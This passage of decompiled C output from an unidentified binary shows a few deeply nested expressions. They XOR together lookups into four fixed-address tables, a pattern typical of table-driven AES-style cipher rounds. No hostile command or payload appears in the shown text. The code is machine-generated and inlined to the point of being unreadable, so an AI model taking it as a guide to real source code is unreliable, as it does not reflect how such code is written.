0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x18) * 4) ^  *(0x41beb0 + (_t110 & 0x000000ff) * 4) ^  *(_t181 - 4);
						_t182 = _t181 + 4;
						_t119 =  *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x18) * 4) ^  *(0x41beb0 + (_t110 & 0x000000ff) * 4) ^  *(_t181 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + (( *(0x41b6b0 + ((_t87 ^  *_t175) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41bab0 + ((_t87 ^  *_t175) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t92 >> 0x18) * 4) ^  *(0x41beb0 + (_t92 & 0x000000ff) * 4) ^  *(_t177 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t196 >> 0x18) * 4) ^  *(0x41beb0 + (_t196 & 0x000000ff) * 4) ^  *(_t179 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41b2b0 + (_t101 >> 0x18) * 4) ^  *(0x41beb0 + (_t101 & 0x000000ff) * 4) ^  *(_t181 - 0xc)) >> 0x18) * 4) ^  *(0x41beb0 + (_t205 & 0x000000ff) * 4) ^  *(_t181 - 8)) >> 0x00000010 & 